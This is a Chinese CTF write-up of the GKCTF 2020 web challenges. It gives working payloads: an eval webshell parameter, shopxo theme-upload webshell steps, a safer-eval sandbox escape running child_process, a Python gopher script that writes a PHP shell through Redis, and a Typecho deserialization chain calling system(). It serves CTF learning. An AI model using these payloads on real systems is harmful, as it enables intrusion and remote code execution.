GKCTF 2020(web)

菜逼只能赛后复现

CheckIN

Base64后即可rec,可以读文件,但不知道flag文件位置
GKCTF 2020(web)_第1张图片
看一下phpinfo 命令执行的函数都给ban完了
GKCTF 2020(web)_第2张图片
用蚁剑链接?Ginkgo=ZXZhbCgkX1BPU1RbY21kXSk7
GKCTF 2020(web)_第3张图片
连接成功之后根目录有readflag,和flag
GKCTF 2020(web)_第4张图片
那就是要执行readflag文件
PHP 7.0-7.3 disable_functions bypasss
直接打
改一下命令就行
GKCTF 2020(web)_第5张图片
Exp要传到/tmp 目录 别的没权限
GKCTF 2020(web)_第6张图片
页面去包含执行
GKCTF 2020(web)_第7张图片

老八小超市儿

和这个基本差不多渗透测试|shopxo后台全版本获取shell复现
打开是个商城有登录注册 搜索啥的,但还有个后台/admin.php,默认密码就能登录。
账号admin 密码shopxo
下载这个默认主题
GKCTF 2020(web)_第8张图片
挂马到default_static_ 目录,然后主题安装那上传,访问/public/static/index/default/exp.php
蚁剑连接
GKCTF 2020(web)_第9张图片
暗示要root权限
GKCTF 2020(web)_第10张图片
有个sh文件,
GKCTF 2020(web)_第11张图片
有root权限,所以里面的py脚本也以root权限执行的
GKCTF 2020(web)_第12张图片
加入这两行代码读取内容写道/flag.hint

ff = io.open("/root/flag", "rb+")
f.write(str(ff.read()))

GKCTF 2020(web)_第13张图片
sh auto.sh运行,然后/flag.hint里就有flag了

cve版签到

hint:cve-2020-7066
在这里插入图片描述 GKCTF 2020(web)_第14张图片

通过%00截断可以让get_headers()请求到错误的主机
点一下链接抓包看一下

GKCTF 2020(web)_第15张图片GKCTF 2020(web)_第16张图片
/?url=http://127.0.0.123%00www.ctfhub.com
GKCTF 2020(web)_第17张图片

EZ三剑客-EzNode

/source查看源码
GKCTF 2020(web)_第18张图片GKCTF 2020(web)_第19张图片

/version看一下版本
GKCTF 2020(web)_第20张图片
https://github.com/commenthol/safer-eval/issues/10直接用文章中的PoC

再有就是这段代码中
GKCTF 2020(web)_第21张图片
传入一个delay和原先定义的60000进行比较。大的值复制给delay
然后作为timeout的值传入,到时间进入下一个路由
但是传入的代码执行不超时6秒的话,就不能进去/eval执行沙盒逃逸
delay传入4294967296。造成settimeout设置为1.
GKCTF 2020(web)_第22张图片
Post传入
e=(function () {const process = clearImmediate.constructor(“return process;”)();return process.mainModule.require(“child_process”).execSync(“cat /flag”).toString()})()
GKCTF 2020(web)_第23张图片

EZ三剑客-EzWeb

访问?secret

GKCTF 2020(web)_第24张图片
给了ip可能是ssrf?BUU惯例。IP+1就是靶机
GKCTF 2020(web)_第25张图片
Bp爆破下端口 线程要改一下,不然429
GKCTF 2020(web)_第26张图片
GKCTF 2020(web)_第27张图片
6379是Redis默认端口

https://byqiyou.github.io/2019/07/15/%E6%B5%85%E6%9E%90Redis%E4%B8%ADSSRF%E7%9A%84%E5%88%A9%E7%94%A8/
用文章里的exp 改一下ip

import urllib
protocol="gopher://"
ip="173.11.248.11"
port="6379"
shell="\n\n\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
	 "set 1 {}".format(shell.replace(" ","${IFS}")),
	 "config set dir {}".format(path),
	 "config set dbfilename {}".format(filename),
	 "save"
	 ]
if passwd:
	cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
	CRLF="\r\n"
	redis_arr = arr.split(" ")
	cmd=""
	cmd+="*"+str(len(redis_arr))
	for x in redis_arr:
		cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
	cmd+=CRLF
	return cmd

if __name__=="__main__":
	for x in cmd:
		payload += urllib.quote(redis_format(x))
	print payload

在这里插入图片描述
打上去就有webshell了
还可以用gophper-redis-auth这个工具
https://github.com/LS95/gopher-redis-auth
GKCTF 2020(web)_第28张图片
看大佬博客用的是这个,但我自己用没成功。。。。。
?url=173.11.248.11/shell.php?cmd=system(‘cat$IFS$9/flag’);show_source(’/flag’);highlight_file(’/flag’)这三种都行这里不能有空格 不然会Bad Request
在这里插入图片描述

EZ三剑客-EzTypecho

好高级的样子,安装一下试试
GKCTF 2020(web)_第29张图片

那就看看源码其实考的是typecho_反序列化漏洞
详细的审计和复现(好几个,可能内容有重复):
typecho老版本的反序列化研究
[漏洞复现]typecho_v1.0.14反序列化漏洞
typecho反序列化漏洞复现
Typecho-反序列化漏洞学习
【漏洞复现】typecho1.1反序列化漏洞

改一下命令直接打就行,finish参数这里不能用,用start
GKCTF 2020(web)_第30张图片



	class Typecho_Feed{
		private $_type;
		private $_items = array();

		public function __construct(){
			$this->_type = "RSS 2.0";
			$this->_items = array(
				array(
					"title" => "test",
					"link" => "test",
					"data" => "20190430",
					"author" => new Typecho_Request(),
				),
			);
		}
	}

	class Typecho_Request{
		private $_params = array();
		private $_filter = array();

		public function __construct(){
			$this->_params = array(
				"screenName" => "eval('system(\'cat /flag\');exit;')",
			);
			$this->_filter = array("assert");
		}
	}

	$a = new Typecho_Feed();

	$c = array(
		"adapter" => $a,
		"prefix" => "test",
	);

	echo base64_encode(serialize($c));

GKCTF 2020(web)_第31张图片
还有个session的,不过这题给ban了
GKCTF 2020(web)_第32张图片

参考:

https://www.gem-love.com/ctf/2361.html
https://guokeya.github.io/post/EWi0aHBCb/

你可能感兴趣的:(GKCTF 2020(web))